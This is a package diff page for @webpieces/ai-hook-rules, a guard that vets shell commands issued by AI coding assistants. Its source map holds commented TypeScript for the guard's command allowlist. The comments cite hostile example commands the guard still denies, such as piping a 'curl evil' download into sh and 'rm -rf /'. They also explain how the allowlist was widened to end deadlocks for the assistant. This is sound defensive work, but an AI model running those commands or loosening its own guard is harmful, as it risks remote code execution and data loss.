@webpieces/ai-hook-rules 0.4.584 → 0.4.588
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +27 -8
- package/package.json +2 -2
- package/src/adapters/hook-core.js +33 -15
- package/src/adapters/hook-core.js.map +1 -1
- package/src/bin/guarantee-root.d.ts +95 -0
- package/src/bin/guarantee-root.js +284 -0
- package/src/bin/guarantee-root.js.map +1 -0
- package/src/bin/hook-registration.d.ts +134 -0
- package/src/bin/hook-registration.js +320 -0
- package/src/bin/hook-registration.js.map +1 -0
- package/src/bin/l0-allowlist.js +1 -1
- package/src/bin/l0-allowlist.js.map +1 -1
- package/src/bin/setup.d.ts +1 -15
- package/src/bin/setup.js +84 -77
- package/src/bin/setup.js.map +1 -1
- package/src/bin/shim-audit-log.js +21 -4
- package/src/bin/shim-audit-log.js.map +1 -1
- package/src/bin/shim.d.ts +1 -1
- package/src/bin/shim.js +85 -13
- package/src/bin/shim.js.map +1 -1
- package/src/bin/upgrade-shim.js +48 -14
- package/src/bin/upgrade-shim.js.map +1 -1
- package/src/core/decision-log.d.ts +6 -2
- package/src/core/decision-log.js +12 -7
- package/src/core/decision-log.js.map +1 -1
- package/src/core/l0-matrix.js +18 -11
- package/src/core/l0-matrix.js.map +1 -1
- package/src/core/log-stream.d.ts +72 -0
- package/src/core/log-stream.js +104 -0
- package/src/core/log-stream.js.map +1 -0
- package/src/core/main-sync-log.d.ts +2 -1
- package/src/core/main-sync-log.js +9 -5
- package/src/core/main-sync-log.js.map +1 -1
- package/src/core/main-sync-refresh.d.ts +2 -1
- package/src/core/main-sync-refresh.js +2 -1
- package/src/core/main-sync-refresh.js.map +1 -1
- package/src/core/rejection-log.js +3 -2
- package/src/core/rejection-log.js.map +1 -1
- package/templates/ai-hook.sh +51 -10
- package/templates/guarantee-root.sh +110 -0
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"l0-allowlist.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/l0-allowlist.ts"],"names":[],"mappings":"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","sourcesContent":["import * as path from 'path';\n\nimport { CONFIG_FILENAME } from '@webpieces/rules-config';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — the vocabulary (the named cure patterns, each an ERE+JS twin pair), the ONE union\n// every L0 fault consults, and isAllowed(), the single question sh and JS both ask.\n//\n// Split out of ./shim.ts purely for size (the shim module also renders the shim body). shim.ts\n// re-exports everything here, so every existing import keeps working, and this module stays as\n// dependency-free as shim.ts must be: it has to load on a tree too broken to load the rule engine.\n// ---------------------------------------------------------------------------\n// The OUTPUT-CAPTURE TAIL every escape hatch below tolerates — the 2026-07-21 deadlock report, part 2.\n// Every allowlist was anchored to a BARE command, but the way an AI assistant actually spells a\n// diagnostic command is `<cmd> 2>&1 | tail -20` (it trims the output it has to read back). The audit\n// log proves it: `.webpieces/logs/ai-hook-shim.log` has `pnpm install 2>&1 | tail -15` logged as\n// DENY-STALE seconds away from a bare `pnpm install` logged as ALLOW-INSTALL — the same cure, denied\n// for its redirection. A cure that is denied when spelled the natural way reads to the assistant as\n// \"the guard blocks its own fix\", which is exactly the conclusion it drew before handing the fix back\n// to the human.\n//\n// So each hatch accepts an OPTIONAL trailing stderr redirect (`2>&1` to fold stderr in, or `2>/dev/null`\n// to drop it — I hit the missing `2>/dev/null` case myself within the hour, running `pnpm install\n// 2>/dev/null | tail -2` against a drift block) and an OPTIONAL pipe into `tail`/`head` carrying at\n// most a line-count flag (`-20`, `-n 20`). Nothing else: the pipe target is one of two literal,\n// read-only pager words and its only argument is digits, so `| sh`, `| curl …`, `| tee /etc/x` and\n// every other operator stay DENIED. Spliced in place of each pattern's old `[[:space:]]*$` tail, so the\n// anchoring at both ends is unchanged. Keep in sync with CAPTURE_TAIL_JS_SRC (locked by a unit test).\nexport const CAPTURE_TAIL_ERE =\n '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';\n\n// JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CAPTURE_TAIL_JS_SRC =\n '(\\\\s+2>(&1|\\\\/dev\\\\/null))?(\\\\s*\\\\|\\\\s*(tail|head)(\\\\s+-(n\\\\s+)?[0-9]+)?)?\\\\s*$';\n\n// The DIRECTORY PREFIX every escape hatch tolerates — the 2026-07-30 worktree deadlock.\n//\n// The harness RESETS a cwd that left the workspace — a standalone `cd <worktree>` followed by `pwd` in\n// the next call reports the primary clone again, and the harness prints `Shell cwd was reset to <root>`\n// when it happens. So an agent working in a linked worktree can only reach that tree with a\n// self-contained `cd <worktree> && …`. (A `cd` that STAYS inside the workspace persists instead, so\n// \"cd never persists\" — which this comment used to assert — is the worktree case over-generalized.)\n// The drift guard demanded a BARE `pnpm install`\n// (\"do NOT put a cd in front of it\") while the install was needed in the worktree — the cure was\n// literally untypable from the place that needed it, and a bare `cd <worktree>` was itself blocked.\n//\n// A leading `cd <path> &&` cannot change what the command does to a repo, so it is not a safety\n// concern; and this stays as un-smuggleable as the rest of the hatch, because the path token accepts\n// only path characters — no whitespace, no quote, no `$`, no backtick, and no shell operator. So\n// `cd /x && pnpm install` passes while `cd $(curl evil) && pnpm install`, `cd /x; rm -rf /` and\n// `cd /x && pnpm install && rm -rf /` all still FAIL CLOSED.\n//\n// SPACES IN THE REPO PATH (2026-08-02). The bare token above admits no whitespace, so on a machine\n// whose checkout lives under `/Users/dean hiller/…`, \"Google Drive\", \"My Documents\" or an iCloud path,\n// the `cd` prefix was UNREACHABLE — every L0 escape hatch was untypable from a linked worktree, which\n// is the exact deadlock class the prefix was added to prevent. And `atRoot()` emitted the remedy\n// unquoted, so what the guard PRESCRIBED was already broken shell before any allowlist saw it.\n//\n// The cure is a SINGLE-QUOTED alternative, `'[^']+'`, and the single quotes ARE the security argument:\n// inside single quotes sh performs NO expansion whatsoever — `$(…)`, backticks, `$VAR`, `&&`, `;`, `|`\n// are all literal characters of the path — and the ONLY character that can end the quoted region is the\n// one the character class excludes. So the pattern is un-smuggleable BY CONSTRUCTION, with no cleverness\n// required: `cd '/Users/dean hiller/repo' && pnpm install` passes, and `cd '$(curl evil)' && pnpm\n// install` matches but is INERT (sh cds to a directory literally named `$(curl evil)`, which does not\n// exist, and `&&` short-circuits — nothing is fetched and nothing is executed).\n//\n// DOUBLE quotes are deliberately NOT accepted: `$` and backticks still expand inside them, so\n// `cd \"$(curl evil)\" && pnpm install` would be a real command substitution. It stays DENIED, as does\n// `cd \"/Users/dean hiller/repo\" && pnpm install` — the quote character itself is outside both branches.\n// Keep in sync with CD_PREFIX_JS_SRC (locked by a unit test).\nexport const CD_PREFIX_ERE = \"(cd[[:space:]]+([A-Za-z0-9._/@~+-]+|'[^']+')[[:space:]]*&&[[:space:]]*)?\";\n\n// JS-regex-source twin of CD_PREFIX_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CD_PREFIX_JS_SRC = \"(cd\\\\s+([A-Za-z0-9._\\\\/@~+-]+|'[^']+')\\\\s*&&\\\\s*)?\";\n\n// Every hatch below starts with the anchor + the optional `cd` prefix. Spliced in place of each\n// pattern's old bare `^`, so the anchoring at both ends is unchanged.\nconst CD_PREFIX_ERE_ANCHORED = '^' + CD_PREFIX_ERE;\nconst CD_PREFIX_JS_ANCHORED = '^' + CD_PREFIX_JS_SRC;\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// An optional LEADING `cd <path> &&` (CD_PREFIX_ERE) — added 2026-07-30. The old comment here argued a\n// `cd` is never needed because Claude Code starts at the repo root. That is false in a LINKED WORKTREE:\n// git copies no node_modules into a new worktree, so the very first call there needs an install in THAT\n// tree, and the harness resets a cwd that left the workspace, so `cd <worktree> && pnpm install` is the only\n// spelling that reaches it. Denying the prefix made the cure unreachable from the one place it was\n// needed. It widens nothing: the prefix cannot change what the install does, and the path token admits\n// no operator (see CD_PREFIX_ERE).\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nconst INSTALLER_BODY_ERE = '(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALLER_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nconst INSTALLER_BODY_JS = '(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALLER_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying 